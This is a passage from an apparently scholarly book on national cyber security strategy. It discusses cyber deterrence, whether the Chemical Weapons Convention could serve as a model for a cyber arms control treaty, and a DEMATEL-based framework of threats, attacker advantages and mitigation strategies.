computer hack of all time.”398399 In terms of financial damages, “MafiaBoy” – a 15 year-old kid from Montreal – in 2001 was able to deny Internet service to some of the world’s biggest online companies, causing an esti- mated $1.7 billion in damage.400 Mutually Assured Disruption (MAD) There is a growing relationship between computer security and national security. Military leaders, fearing the potential impact of cyber warfare as well as the start of a cyber arms race, are now considering whether it is possible proactively to deter cyber attacks. At the nation-state level, there are two possible deterrence strategies: denial and punishment. In cyberspace, both suffer from a lack of credibility. Denial is unlikely due to the ease with which cyber attack technology can be acquired, the immaturity of international legal frameworks, the absence of an inspection regime, and the per- ception that cyber attacks are not dangerous enough to merit deterrence in the first place. Punishment is the only real option, but this deterrence strategy lacks cred- ibility due to the daunting challenges of cyber attack attribution and asymmetry. At a minimum, attribution must improve before a cyber attacker may feel deterred. This will take time. In the short term, organizations must improve their ability to collect and transmit digital evidence, especially to international partners. In the long term, national security planners should try to create a Distant Early Warning Line (DEWL) for cyber war and the capability to select from a range of rapid response tactics. To pave the way forward, a legal foundation for cyber attack, defense, and deter- rence strategies is needed as soon as possible. Because information technology changes so quickly – no one can predict what the next cyber attack will look like – it may be necessary to adopt an effects-based approach. If a cyber attack results in a level of human suffering or economic destruction equivalent to a conventional mili- tary attack, then it could be considered an act of war, and it should be subject to the existing laws of war. Consequently, national security planners have no time to waste in reevaluating, and updating, if necessary, the Geneva, Hague, and Human Rights conventions, as well as the Just War theory, and more. 398 Lee, 2006. 399 Glendinning, 2006: The press has speculated whether one reason for prosecuting McKinnon is for the deterrent effect it could have on other cyber attackers. 400 Verton, 2002. 122 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES Back to the Cold War. By the year 1968, Soviet mastery of nuclear technology had made one-sided nuclear deterrence meaningless.401 The U.S. and the USSR were forced into a position of mutual deterrence or Mutually Assured Destruction (MAD). Both sides had the ultimate weapon, as well as a second-strike capability. Although cyber attacks do not possess the power of a nuclear explosion, they do pose a se- rious and increasing threat to international security, and anti-proliferation efforts appear futile. Welcome to the era of Mutually Assured Disruption.402 401 Specifically, it was the Soviet Union’s ability to mass produce nuclear weapons, and to compete in the nuclear arms race, that changed the strategic equation in 1968. 402 Pendall, 2004; Derene, 2009. 123 Arms Control: Can We Limit Cyber Weapons? 8. ARMS CONTROL: CAN WE LIMIT CYBER WEAPONS? As world leaders look beyond temporary fixes to the challenge of securing the In- ternet, one possible solution may be an international arms control treaty for cyber- space. The 1997 Chemical Weapons Convention (CWC) provides national security planners with a useful model. CWC has been ratified by 98% of the world’s govern- ments and encompasses 95% of the world’s population. It compels signatories not to produce or to use chemical weapons (CW), and they must destroy existing CW stockpiles. As a means and method of war, CW have now almost completely lost their legitimacy. This chapter examines the aspects of CWC that could help to con- tain conflict in cyberspace. It also explores the characteristics of cyber warfare that seem to defy traditional threat mitigation. Cyber Attack Mitigation by Political Means The world has grown so dependent on the Internet that governments may seek far- reaching strategic solutions to help ensure its security. Every day, more aspects of modern society, business, government, and critical infrastructure are computerized and connected to the Internet. As a consequence and for the sake of everything from the production of electricity to the integrity of national elections, network security is no longer a luxury, but a necessity.403 A fundamental challenge to better network security is that computers are highly complex objects that are inherently difficult to secure. The Common Vulnerabilities and Exposures (CVE) List grows by nearly one hundred every month.404 There are likely more pathways into your computer network than your system administrators can protect. And to a large degree, this explains the high return on investment en- joyed by cyber criminals and cyber spies. In the future, if war breaks out between two or more major world powers, one of the first victims could be the Internet itself. The reason is that classified cyber at- tack tools and techniques available to military and intelligence agencies are likely far more powerful than those available to the general public.405 However, as with chemical weapons (CW) and even with nuclear weapons, it is possible that non-state 403 Mostyn, 2000: At least a decade ago, the widespread use of anonymous email services to support criminal activity had convinced some that an international convention would be needed to regulate its use. 404 “Common Vulnerabilities and Exposures List,” The MITRE Corporation, http://cve.mitre.org/. 405 McConnell, 2010: Mike McConnell, former director of the U.S. National Security Agency and Director of National Intelligence, recently wrote in the Washington Post that “the lion’s share of cybersecurity expertise lies in the federal government.” 124 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES actors, including terrorists, will acquire strategically significant cyber attack tools and techniques in the future.406 What is to be done? Severing one’s connection to cyberspace is not an attractive op- tion. The benefits of connecting to the Internet usually outweigh the drawbacks; this quickly undermines a fortress mentality. And even theoretically “closed” networks – those with no direct connection to the Internet – are still subject to a wide range of computer network attacks (CNA).407 In light of our dependence on such vulnerable technology, and due to the fact that CNA is difficult to stop, world leaders may try to negotiate international agreements designed to contain conflict on the Internet.408 Cyber arms control is one possible strategy, and the 1997 Chemical Weapons Convention (CWC) may provide a strong candidate model.409 The Chemical Weapons Convention Chemical weapons (CW) are almost as old as warfare itself. Archeologists have found poison-covered arrowheads dating to 10,000 BC.410 In the First World War, CW may have caused one-third of the estimated 5 million casualties. Today, terrorists are at- tracted to CW not only for its killing power, but also due to its ease of acquisition.411 As a weapon, CW employs the toxic properties of certain chemicals in a way that can kill, injure or incapacitate humans and animals. Throughout history, each new generation of CW has been more dangerous than its predecessor.412 In 1997, 95 nations signed CWC, an international arms control agreement that has been a success by almost any measure. The treaty’s purpose is reflected in its full name: Convention on the Prohibition of the Development, Production, Stockpiling 406 Lewis, 2010: James Lewis of CSIS recently stated: “It remains intriguing and suggestive that [ter- rorists] have not launched a cyber attack. This may reflect a lack of capability, a decision that cyber weapons do not produce the violent results terrorists crave, or a preoccupation with other activities. Eventually terrorists will use cyber attacks, as they become easier to launch...”. 407 Military and intelligence agencies are capable of supply chain attacks, insider exploitation, the stand- off kinetic destruction of computer hardware, and the use of electromagnetic radiation to destroy unshielded electronics via current or voltage surges. 408 Markoff & Kramer, 2009a: According to The New York Times, Russian negotiators have long argued that an international treaty, similar to those that have been signed for WMD, could help to mitigate the threat posed by military activities to civilian networks, and that in 2009 the U.S. appeared more willing to discuss this strategy. 409 Others could be the Nuclear Non-Proliferation Treaty or the Biological Weapons Convention. 410 Mayor, 2008. 411 Newmark, 2001. 412 Ibid. 125 Arms Control: Can We Limit Cyber Weapons? and Use of Chemical Weapons and on their Destruction. Its goal is to eliminate the entire category of weapons of mass destruction (WMD) that is associated with toxic chemicals and their precursors. The CWC Preamble declares that achievements in chemistry should be used exclusively for beneficial purposes, and that the prohibi- tion on CW is intended “for the sake of all mankind.” Each signatory is responsible for enforcing CWC within its legal jurisdiction. This includes overseeing the destruction of existing CW and the destruction of all CW production facilities. Under the convention, all toxic chemicals are considered weap- ons unless they are used for purposes that are specifically authorized under CWC. Further, members are prohibited from transferring CW to or from other nations. CWC is administered by the Organization for the Prohibition of Chemical Weapons (OPCW), based in The Hague, which is an independent entity working in concert with the United Nations. OPCW has a staff of 500 and a budget of EUR 75 million.413 Currently, 188 nations, encompassing 98% of the global population, are party to CWC. A mere 13 years old, CWC has enjoyed the fastest rate of accession of any arms control treaty in history.414 Since 1997, over 56% of the world’s declared stock- pile of 71,194 metric tons of chemical agent has been destroyed, along with almost 50% of the world’s 8.67 million chemical munitions and containers.415 CWC: Lessons for Cyber Conflict Governments addressed the threat from CW by creating CWC. In order to counter the threat posed by cyber attacks and cyber warfare, world leaders may decide to create a similar regime, a Cyber Weapons Convention. In that event, international negotiators will likely examine CWC to see whether its principles are transferrable to the cyber domain. This author has identified five principles characteristic of CWC that may be useful in this context: political will, universality, assistance, prohibition, and inspection.416 Political will. On March 21, 1997, Presidents Bill Clinton and Boris Yeltsin issued a joint statement from Helsinki, stating that they were committed to the ratification of 413 OPCW website: www.opcw.org. 414 Challenges remain: Angola, Egypt, Israel, Myanmar, North Korea, Somalia, and Syria are still outside CWC; the U.S. and Russia are highly unlikely to meet the legally binding CW destruction deadline of April 2012; advances in science and technology pose constant challenges to the integrity of the inspections regime. 415 OPCW website: www.opcw.org. 416 I derived these five principles in part from the article Mikhail Gorbachev and Rogelio Pfirter wrote for Bulletin of the Atomic Scientists and from Oliver Meier’s interview with Pfirter in Arms Control Today. 126 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES CWC in order to “banish poison gas from the Earth.”417 At the end of the Cold War, the U.S. and Russia possessed the lion’s share of CW, and CWC could not have been a success without their leadership. However, all signatories had to be convinced that they had more to gain from joining CWC than they had to lose by remaining outside it. In the case of CW, there is a genuine abhorrence that the science of chemistry has been used for such lethal purposes, as well as a fear that terrorist groups – who lack the accountability of sovereign governments – will obtain CW. Universality. In 1997, more than two dozen countries possessed CW.418 Further- more, since CW technology was not difficult to acquire, that number would have continued to grow. CWC authors therefore designed the convention as a universal treaty with a universal and permanent goal. All nations are encouraged to become members, and the treaty’s endgame is the elimination of an entire class of WMD. Therefore, CWC represents the broadest possible multilateral security framework. At first glance, this strategy could be an obstacle to treaty advancement. However, universality also provides a strong recruitment incentive: peer pressure. A higher ratio of members to non-members increases one’s sense of security gained by acces- sion and heightens the isolation felt by those who remain on the outside. Assistance. OPCW offers enormous practical aid to CWC members. Above all, sig- natories are helped to fulfill treaty requirements, beginning with the destruction of CW and CW production facilities. Further, OPCW actively promotes the advance- ment of peaceful uses of chemistry for economic development. This includes the provision of training for local experts. Finally, OPCW offers advocacy to treaty mem- bers in the event they are threatened by the CW of another state. Prohibition. CWC has proven that verifiable destruction of CW and their produc- tion facilities is feasible. By 2010, over 50% of the world’s declared chemical agent stockpiles had been verifiably destroyed, as well as nearly 50% of declared chemical munitions. Some states had completely eliminated their CW programs. At the cur- rent rate, over 90% of the world’s known CW will be destroyed by 2012. Although seven nations remain outside CWC, no new states have acquired CW since 1997. The success of CWC stands in contrast to the 1968 Nuclear Non-Proliferation Treaty (NPT). Despite the efforts of NPT, the size of the world’s nuclear club has grown from five419 to nine.420 417 “The President’s News Conference...” 1997. 418 Cole, 1996. 419 These are also the permanent members of the United Nations Security Council: China, France, Russia, UK, and the U.S. 420 Huntley, 2009: De facto members now include India, Israel, Pakistan, and North Korea. 127 Arms Control: Can We Limit Cyber Weapons? Inspection. Since 1997, almost 4,000 CWC inspections have been conducted on the territory of 81 member states in order to verify treaty compliance. These have taken place at almost 200 known CW-related sites and at over 1,000 other industrial sites. Nearly 5,000 facilities around the world are liable to CWC inspection at any time. One of the primary benefits of CWC membership is the right to request a “challenge inspection” on the territory of a fellow member state, based on the principle of “any- time, anywhere,” with no right of refusal. Toward a Cyber Weapons Convention Cyber warfare is not chemical warfare. Although they share some similarities – in- cluding ease of acquisition, asymmetric damage, and polymorphism – the tactics, strategies, and effects are fundamentally different. Chemical warfare kills humans; cyber warfare kills machines.421 As a means of waging war, however, both chemical and cyber attacks represent a potential threat to national security. As such, diplomats may be asked to negotiate international agreements designed to mitigate the risk of cyber warfare, just as they have done for CW. The five principles described in the previous section have helped to make CWC a success. In this section, the author argues that the first three principles are clearly transferable to the cyber domain, while the final two are not. Political will. International treaties require widespread agreement on the nature of a common problem. The threat posed by cyber attacks – based on national capabili- ties as well as the fear that terrorists will begin to master the art of hacking – could be strong enough to form such a political consensus. The 2010 cyber attack on Google was serious enough to begin discussion in the U.S. on whether to create an ambassador-level post, modeled on the State Department’s counterterrorism coordi- nator, to oversee international cyber security efforts.422 As with CWC, a convention intended to help secure the Internet would need the major world powers behind it to succeed. At a minimum, in today’s world that means the U.S., Russia, China, and the EU.423 421 To be more specific, cyber attacks usually target the data resident on or functionality of a machine. It is also important to note that inoperable machines can kill humans: examples include medical equip- ment and national air defense systems. By the same token, chemical warfare can also kill flora, fauna, and human input to machines. 422 Gorman, 2010. 423 With CWC, the Middle East conflict continues to pose the most serious challenge to worldwide agree- ment, and it could do the same for a Cyber Weapons Convention. 128 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES Universality. One of the primary challenges to improved computer security is the fact that the Internet is a worldwide enterprise. The jurisdiction of law enforcement and counterintelligence personnel ends every time a network cable crosses an in- ternational border. Even though thousands of miles may separate an attacker and defender in the real world, everyone is a neighbor in cyberspace, and attackers often have direct access to their victims. Smart hackers hide within the maze-like archi- tecture of the Internet and route attacks through countries with which the victim’s government has poor diplomatic relations or no law enforcement cooperation. In 2010, there are plenty of cyber safe havens where criminals, spies and terrorists can operate without fear of reprisal.424 Although the global nature of cyberspace makes the practical task of securing the Internet inherently more difficult, the universal goals of CWC are highly appropriate in the cyber domain. Politicians, international negotiators, and the public will have no trouble understanding this characterization, and universality would be a cornerstone of a Cyber Weapons Convention. Assistance. Vulnerabilities in computer networks and the advantages they create for an attacker will persist for the foreseeable future. Consequently, organizations have no choice but to invest more time and effort into computer security. However, a proper implementation of best practices such as risk management, awareness train- ing, defense-in-depth, and incident handling425 usually requires more expertise and resources than most organizations and even many countries have available. Within CWC, OPCW offers practical aid to its members. In the same fashion, a Cyber Weap- ons Convention could create an internationally-staffed institution dedicated to help- ing signatories improve their cyber defense posture and respond effectively to cyber attacks when they occur. Experts could provide technical, legal, and policy advice via consultation and training. A crisis response team could be available to deploy worldwide at a moment’s notice, ready to publish its findings to the world. And as with CWC, the institution could actively promote the benefits of peaceful uses of computer technology for economic development and cooperation. One significant but difficult step for governments to take would be the joint instru- mentation and observation of the Internet and its network traffic flows. Many cyber threats, such as the one posed by botnet technology, simply move too quickly for the kind of traditional inspections that OPCW provides. Cyber attack mitigation re- quires immediate source identification and the ability to cross technical, legal, and national borders quickly. The best chance that future Cyber Weapons Convention 424 Gray & Head, 2009. 425 For example, the U.S. Computer Emergency Readiness Team (US-CERT) offers many free publications in the following categories: “General Internet security,” “Securing your computer,” “Recovering from an attack,” and “Monthly and quarterly reports” (www.us-cert.gov/reading_room/); however, most system administrators simply do not have the time to study, absorb, and implement all such recom- mendations. 129 Arms Control: Can We Limit Cyber Weapons? monitors would have is with access to real-time network data from across the whole of the Internet and the ability to collaborate immediately with treaty-empowered colleagues throughout the world.426 National sovereignty and data privacy concerns would have to be carefully guarded. Furthermore, the technical and forensic side of the regime should be separated as much as possible from its legal and political ramifications. Data analysts could not have access to any personally identifiable information, but when cyber attacks are observed, the appropriate law enforcement organizations must be notified. Prohibition. The proof that CWC has been a success lies in the large volume of CW that has been verifiably destroyed. The principle of prohibition, however, would be the most challenging aspect of CWC to apply in cyberspace. Malicious computer code is notoriously difficult to define. In the single month of May 2009, Kaspersky Anti-Virus Lab found 42,520 “unique malicious, advertising, and poten- tially unwanted” programs on its clients’ computers.427 Even in a well-designed and malware-free network, a legitimate path for remote system administration can be used by a masquerading hacker, who has correctly guessed or stolen its password, to thoroughly undermine its confidentiality, integrity, and/or availability. Any com- puter programmer can learn to write malware, and non-programmers can simply download professional-quality attack tools from well-known websites. Further, cy- ber warfare is unlike chemical warfare in that cyber attacks often demand stealth and anonymity. At a minimum, any prohibition on malware will require substantial progress on solving the cyber attack “attribution” problem.428 This will take time, and involve technical, legal, and international cooperation on a level far higher than it exists today. Inspection. Similar to prohibition, the CWC inspection regime has been a success, but it is difficult to imagine how the principle of inspection could easily be applied in cyberspace. Around the world, 5,000 industrial facilities are subject to CWC in- spection at any time; this is a large but manageable number. Compare it to the amount of digital information that can be placed on one removable thumb drive. In 2010, a 256 GB USB Flash drive cost under $1000;429 it held over 2 trillion bits of data. Even widely-published operating system and application code can be almost impossible to understand thoroughly – even for experts – because there is simply 426 Such an effort would be daunting from a technical perspective, but in theory, if this is possible to accomplish in one large country, it should be possible across the globe. On a human level, thousands of international CERT personnel already do it on a less formal basis every day. 427 “Monthly Malware Statistics...” 2009. 428 This refers to anonymous cyber attacks, described in the Universality section above. 429 The Kingston DataTraveler® 310 is currently advertised as the highest capacity USB Flash drive on the market. 130 NATION-STATE CYBER ATTACK MITIGATION STRATEGIES too much information to analyze.430431 Malware can be written on any computer, and transmitted to the Net from any network access point. In the U.S. alone, there are 383 million computers connected directly to the Internet.432 In theory, a Cyber Weapons Convention could require closer inspection and monitoring at the Internet Service Provider (ISP) level. However, such regimes are already commonplace, such as China’s Golden Shield Project, the European Convention on Cybercrime, Russia’s SORM,433 and the USA PATRIOT Act. Each is unique in terms of guidelines and en- forcement, but all face the same problem of overwhelming traffic volume. The Challenges of Prohibition and Inspection The challenge of securing the Internet appears to be worsening with time.434 World leaders may eventually decide that the best way to mitigate the threat posed by cy- ber attacks is by signing an international cyber arms control treaty.435 The Chemical Weapons Convention (CWC) constitutes a useful model. It boasts the vast majority of world governments as signatories and has tangibly reduced the threat of chemical warfare, both by delegitimizing the use of chemical weapons (CW) and by dramatically reducing the quantity of CW in existence. This chapter highlights five principles that have helped to make CWC a success, and examines each principle to see whether it could support the development of a Cyber Weapons Convention. 430 Cole, 2002. 431 Even if it were possible, software is dynamic. Programs constantly change their functionality via security patches and other updates. 432 This figure is from The World Factbook, published by the U.S. Central Intelligence Agency, and de- scribes the number of “Internet hosts” in a country. These are defined as “a computer connected directly to the Internet ... Internet users may use either a hard-wired terminal ... or may connect remotely by way of a modem via telephone line, cable, or satellite to the Internet Service Provider’s host computer.” 433 Система Оперативно-Розыскных Мероприятий or “System for Operative Investigative Activi- ties.” 434 Geers, 2010. 435 “Espionage Report...” 2007; Cody, 2007: Many vignettes could be recited here. In 2007, German Chan- cellor Angela Merkel visited China for a state meeting which was overshadowed by a media claim that Chinese hackers had been caught attempting to steal data from Merkel’s chancellery and other Berlin ministries. The Chinese government denied the allegations, but Prime Minister Wen Jiabao nonethe- less told Merkel that measures would be taken to “rule out hacking attacks.” The following month, Chinese Vice Information Industry Minister Lou Qinjian wrote in a Communist Party magazine that foreign intelligence services had also caused “massive and shocking” damage to China via computer hacking. 131 Arms Control: Can We Limit Cyber Weapons? The first three principles – political will, universality, and assistance – are easy to apply in the cyber domain. None of them is a perfect fit, but as with CWC, all of them are appropriate to the nature and challenges of managing Internet security. The final two principles – prohibition and inspection – are not helpful at this time. It is difficult to prohibit or inspect something that is hard to define and which grows by orders of magnitude on a regular basis. In fact, these two catches could prove sig- nificant enough that a future treaty may not be called Cyber Weapons Convention, but something more generic, such as Internet Security Convention. On balance, the three applicable principles provide world leaders with a good start- ing point to explore the prospects for a Cyber Weapons Convention. If national and Internet security thinkers decide that an international cyber arms control treaty is the right way forward, political leaders may give scientists the funding they need to attack the technical challenges of prohibition and inspection. 132 DATA ANALYSIS AND RESEARCH RESULTS IV. DATA ANALYSIS AND RESEARCH RESULTS 9. DEMATEL AND STRATEGIC ANALYSIS In this research study, the author will employ the Decision Making Trial and Evalua- tion Laboratory (DEMATEL) to analyze the most important concepts and definitions. The goal of using DEMATEL is twofold: to increase the rigor of the author’s analysis via scientific method, and to help provide decision makers with greater confidence as they attempt to choose the most efficient ways to mitigate the threat of cyber at- tacks and improve cyber security at the strategic level. DEMATEL is a comprehensive scientific research method, developed in the 1970s by the Science and Human Affairs Program at the Battelle Memorial Institute in Geneva. It is used to solve scientific, political and economic problems that contain a complex array of important factors,436 which may involve many stakeholders.437 It has often been used, especially by researchers in Middle East and Far East, to inves- tigate problems of strategic scope and significance.438 First, a DEMATEL researcher must identify and classify the key concepts or the most influential factors in a given system or in a particular area of research. Second, all factors are placed into a pair-wise, “direct-influence” comparison matrix and prioritized by their level of influence on the other factors in the system: zero, or “no influence,” to four, or “very high influence.” The matrix isolates all of the factors within the system, as well as their one-to-one relationships.439 It displays the level of influence that each factor exerts on every other factor in the system, and provides a clear ranking of alternatives by influence level.440 Third, the influencing factors are depicted in a causal loop diagram that graphically displays how each factor exerts pressure on, and receives pressure from, all other factors in the system, including the strength of each influence relationship. 436 Gabus & Fontela, 1972; Gabus & Fontela, 1973. 437 Jafari et al, 2008. 438 Several are cited in this paper, below. 439 Hu et al, 2010. 440 Dytczak & Ginda, 2010. 133 DEMATEL and Strategic Analysis Fourth, DEMATEL calculates the combined effect of both the direct and indirect influence relationships, yielding a new overall influence score for all factors in the system. It is then possible to place all factors into a hierarchical structure. In this way, DEMATEL helps to provide decision makers with the most efficient paths to a desired outcome. These contribute to workable solutions at the tactical level441 and superior policy choices at the strategic level.442 DEMATEL Influencing Factors Parts II and III of this book described cyber security as an emerging strategic con- cept and examined four mitigation strategies that governments will likely adopt to counter the cyber attack threat. Fig. 1, below, summarizes these concepts as DEMA- TEL “influencing factors.” Each is defined in more detail in this chapter. Figure 1. DEMATEL “Influencing Factors.” National Security Threats A cyber attack is best understood not as an end in itself, but as an extraordinary means to a wide variety of ends. At the tactical level, there are many objectives that an attacker seeks. Here are five of the most important. 441 Hu et al, 2010. 442 Moghaddam et al, 2010. 134 DATA ANALYSIS AND RESEARCH RESULTS Espionage. Every day, anonymous computer hackers steal vast quantities of com- puter data and network communications. In fact, it is possible to conduct devastat- ing intelligence-gathering operations, even on highly sensitive political and military communications, remotely from anywhere in the world. Propaganda. Cheap and effective, this is often the easiest and the most powerful form of cyber attack. Propaganda dissemination may not need to incorporate any computer hacking at all, but simply take advantage of the amplification power of the Internet. Digital information, in text or image format and regardless of whether it is true – can be instantly copied and sent anywhere in the world, even deep behind enemy lines. And provocative information that is censored from the Web can reap- pear elsewhere in seconds. Denial-of-Service (DoS). The simple strategy behind a DoS attack is to deny the use of data or a computer resource to legitimate users. The most common tactic is to flood the target with so much superfluous data that it cannot respond to real requests for services or information. Today, black market botnets provide anyone with massive Distributed DoS (DDoS) resources and a high level of anonymity. Other DoS attacks include the physical destruction of computer hardware and the use of electromagnetic interference, designed to destroy unshielded electronics via current or voltage surges. Data modification. A successful attack on the integrity of sensitive data is insidious because legitimate users (human or machine) may make subsequent critical deci- sions based on maliciously altered information. Such attacks range from website de- facement, which is often referred to as “electronic graffiti,” but which can still carry propaganda or disinformation, to the corruption of advanced weapons or command- and-control (C2) systems. Infrastructure manipulation. National critical infrastructures are, like everything else, increasingly connected to the Internet. However, because instant response may be required, and associated hardware could have insufficient computing resources, security may not be robust. Furthermore, the infrastructure could require instant or automatic response, so it may be unrealistic to expect that a human would be avail- able to concur with every command the infrastructure is given.443 Complicating matters is the fact that most critical infrastructures are in private hands. Internet Service Providers (ISP), for example, typically lease communication lines to government as well as to commercial entities, and it is not uncommon for 443 Geers, 2009. 135 DEMATEL and Strategic Analysis satellite management corporations to offer bandwidth to multiple countries at the same time.444 The management of electricity is essential for national security planners to evaluate because electricity has no substitute, and all other infrastructures, including com- puter networks, depend on it.445 Finally, it is important to note that many critical in- frastructures are in private hands, outside of government protection and oversight. Key Cyber Attack Advantages As a medium through which a nation-state or a non-state actor can threaten the security or national security of a rival or adversary, cyberspace offers attackers numerous key advantages that facilitate and amplify the three traditional attack categories of confidentiality, integrity and availability. These are illustrated in Fig. 2, below. Figure 2. Key Cyber Attack Advantages. Vulnerability. The Internet has an ingenious modular design that is remarkably resilient in the face of many classes of cyber attack. However, hackers regularly find sufficient flaws in its architecture to secretly read, delete, or modify informa- tion stored on or traveling between computers. Further, the rapid proliferation in 444 Ibid. 445 Divis, 2005. 136 DATA ANALYSIS AND RESEARCH RESULTS communications technologies provides sensitive sites with a level of redundancy unimagined in the past. However, on the downside it is a challenge for defenders to keep up with the latest attack methods. In fact, there are about 100 additions to the Common Vulnerabilities and Exposures (CVE) database each month.446 Constantly evolving malicious code often gives hackers more paths into a network than its sys- tem administrators can protect. Asymmetry. Nations, organizations, and individual hackers find in computer hack- ing a very high return on investment. An attacker’s common goals are self-explana- tory: the theft of research and development data, eavesdropping on sensitive com- munications, and the delivery of propaganda behind enemy lines. The elegance of computer hacking lies in the fact that it may be attempted for a fraction of the cost – and risk – of many other information collection or manipulation strategies. Anonymity. The maze-like architecture of the Internet offers cyber attackers a high degree of anonymity. Smart hackers route their attacks through countries with which the victim’s government has poor diplomatic relations or no law enforcement cooperation. Even successful cyber investigations often lead only to another hacked computer. Governments today face the prospect of losing a cyber conflict without even knowing the identity of their adversary. Inadequacy of cyber defense. Computer network security is still an immature disci- pline. Traditional security skills are of marginal help in cyber warfare and it is diffi- cult to retain personnel with marketable technical expertise. Challenging computer investigations are further complicated by the international nature of the Internet. Moreover, in the case of state-sponsored cyber operations, law enforcement coop- eration is naturally non-existent. The rise of non-state actors. The Internet era offers to everyone vastly increased participation on the world stage. Historically, governments have endeavored to re- tain as much control as they can over international conflict. However, globalization and the Internet have considerably strengthened the ability of anyone to follow cur- rent events and have provided a powerful means to influence them. Domestic and transnational subcultures now spontaneously coalesce online, sway myriad political agendas, and may not report to any traditional chain-of-command. A future chal- lenge for world leaders is whether their own citizens could spin delicate interna- tional diplomacy out of control. 446 “Common Vulnerabilities and Exposures List,” The MITRE Corporation, http://cve.mitre.org/. 137 DEMATEL and Strategic Analysis Cyber Attack Categories There are three basic forms of cyber attack, from which all others derive. Confidentiality. This encompasses any unauthorized acquisition of information, including surreptitious “traffic analysis,” in which an attacker infers communica- tion content merely by observing communication patterns. Because global network connectivity is currently well ahead of global network security, it can be easy for hackers to steal enormous amounts of information. Cyber terrorism and cyber warfare may still lie in our future, but we are already liv- ing in a Golden Age of cyber espionage. The most famous case to date is “GhostNet,” investigated by Information Warfare Monitor, in which a cyber espionage network of over 1,000 compromised computers in 103 countries targeted diplomatic, politi- cal, economic, and military information.447 Integrity. This is the unauthorized modification of information or information re- sources such as a database. Integrity attacks can involve the “sabotage” of data for criminal, political, or military purposes. Cyber criminals have encrypted data on a victim’s hard drive and then demanded a ransom payment in exchange for the decryption key. Governments that censor Google results return part, but not all of the search engine’s suggestions to an end user. Availability. The goal here is to prevent authorized users from gaining access to the systems or data they require to perform certain tasks. This is commonly referred to as a denial-of-service (DoS) and encompasses a wide range of malware, network traffic, or physical attacks on computers, databases and the networks that connect them. In 2001, “MafiaBoy,” a 15 year-old student from Montreal, conducted a successful DoS attack against some of the world’s biggest online companies, likely causing over $1 billion in financial damage.448 In 2007, Syrian air defense was reportedly dis- abled by a cyber attack moments before the Israeli air force demolished an alleged Syrian nuclear reactor. 447 “Tracking GhostNet...” 2009. 448 Verton, 2002. Strategic Cyber Attack Targets Cyber attacks of strategic significance do not occur every day. In fact, it is likely that the most powerful cyber weapons may be saved by militaries and intelligence agen- cies for times of international conflict and war. Some war tactics will change in order to account for the unique nature of cyber- space and for the latent power of cyber warfare, but the ultimate goal of war – vic- tory – will not change. As in past wars and as with other types of aggression, there are two broad categories of strategic targets that cyber attackers will strike. Military forces. The first category of cyber attacks would be conducted as part of a broader effort to disable the adversary’s weaponry and to disrupt military com- mand-and-control (C2) systems. In 1997, the U.S. Department of Defense (DoD) held a large-scale cyber attack red team exercise called Eligible Receiver. The simulation was a success. As James Ad- ams wrote in Foreign Affairs, thirty-five National Security Agency (NSA) personnel, posing as North Korean hackers, used a variety of cyber-enabled information war- fare tactics to “infect the human command-and-control system with a paralyzing level of mistrust ... as a result, nobody in the chain of command, from the president on down, could believe anything.”449 In 2008, unknown hackers broke into a wide range of DoD computers, including a “highly protected classified network” of Central Command (CENTCOM), the organi- zation which manages both wars in which the U.S. is now engaged. The Pentagon was so alarmed by the attack that Chairman of the Joint Chiefs Michael Mullen personally briefed President Bush on the incident.450 In the event of a future war between major world powers, it is wise to assume that the above-mentioned attacks would pale in comparison to the sophistication and scale of cyber tools and tactics that governments may hold in reserve for a time of national security crisis. Government/civilian infrastructure. The second category of cyber attacks would target the adversary’s ability and willingness to wage war for an extended period of time. The targets would likely include an adversary’s financial sector, industry, and national morale. One of the most effective ways to undermine a variety of these second-tier targets is to disrupt the generation and supply of power. President Obama’s announcement 449 Adams, 2001. 450 Barnes, 2008. 138 DATA ANALYSIS AND RESEARCH RESULTS 139 DEMATEL and Strategic Analysis that unknown hackers had “probed our electrical grid” and “plunged entire cities into darkness”451 in Brazil452 should serve as a wake-up call for many. Referring to theoretical cyber attacks on the financial sector, former U.S. Director of National Intelligence (DNI) Mike McConnell stated that his primary concern was not the theft of money, but a cyber attack that would target the integrity of the financial system itself, designed to destroy public confidence in the security and supply of money.453 In a future war between major world powers, militaries would likely exploit the ubiq- uity of cyberspace and global connectivity to conduct a wide range of cyber attacks against adversary national critical infrastructures, on their home soil, deep behind the front lines of battle. Cyber Attack Mitigation Strategies This research has shown that cyber attackers possess significant advantages over cyber defenders, and that governments must now take the threat of strategic-level cyber attacks seriously. The four mitigation strategies examined in Part III are sum- marized below. Fig. 3 is a causal loop diagram that shows how cyber attack mitigation strategies are designed to reduce the impact of cyber attack advantages, with the ultimate goal of reducing threats to national security via cyberspace. Figure 3. Cyber Attack Mitigation Strategies. 451 “Remarks...” 2009. 452 “Cyber War...” 2009. 453 Ibid. 140 DATA ANALYSIS AND RESEARCH RESULTS IPv6: The complex and evolving nature of IT tends to favor an attacker, who often finds a surfeit of network vulnerabilities to exploit. At the same time, the benefits of connectivity continue to ensure that returning to pen and paper is not an option. If there is a leading current technical solution to the cyber attack problem, a reason- able argument can be made for Internet Protocol version 6 (IPv6), which is replacing IPv4 as the “language” of the Internet. The first benefit of IPv6 is that it instantly solves the world’s shortage of computer addresses.454 However, its chief security enhancement – mandatory support for Internet Protocol Security (IPSec) – is in fact an optional feature that may not be widely used for reasons of convenience. Fur- thermore, during the long transition phase ahead, there will be an increased “attack surface” as hackers exploit vulnerabilities in both IP languages at once.455 Military doctrine: Cyberspace is a new warfare domain, in which computers are both a weapon and a target. Future military concepts and doctrine must find a way to encompass cyber attack and defense strategies and tactics. However, even the most influential military treatise in history, Sun Tzu’s Art of War, which is renowned for its flexibility and adaptability to new means and methods of war, has great dif- ficulty subsuming many aspects of cyber warfare. The author described ten distinc- tive characteristics of the cyber battlefield, none of which fits easily into Sun Tzu’s paradigm. Deterrence: There are only two deterrence strategies available to nation-states: de- nial of a threatening technology (e.g., nuclear weapons) and punishment. With cyber weapons, denial is a non-starter because hacker skills and tools are easy to acquire. Punishment via retaliation is the only option, but to be an effective deterrent, a threat has to be credible. Here again, the challenges of poor attacker attribution and high attack asymmetry in cyberspace undermine the credibility of deterrence. Fur- ther, they create problematic doctrinal questions for military rules of engagement.456 Arms Control: In the future, world leaders may negotiate an international treaty on the use of cyber weapons.457 However, arms control relies on two principles that are not easy to apply in cyberspace: prohibition and inspection. First, it is difficult to prohibit something that is hard to define, such as malicious code. And even in a malware-free organization, hackers are adept 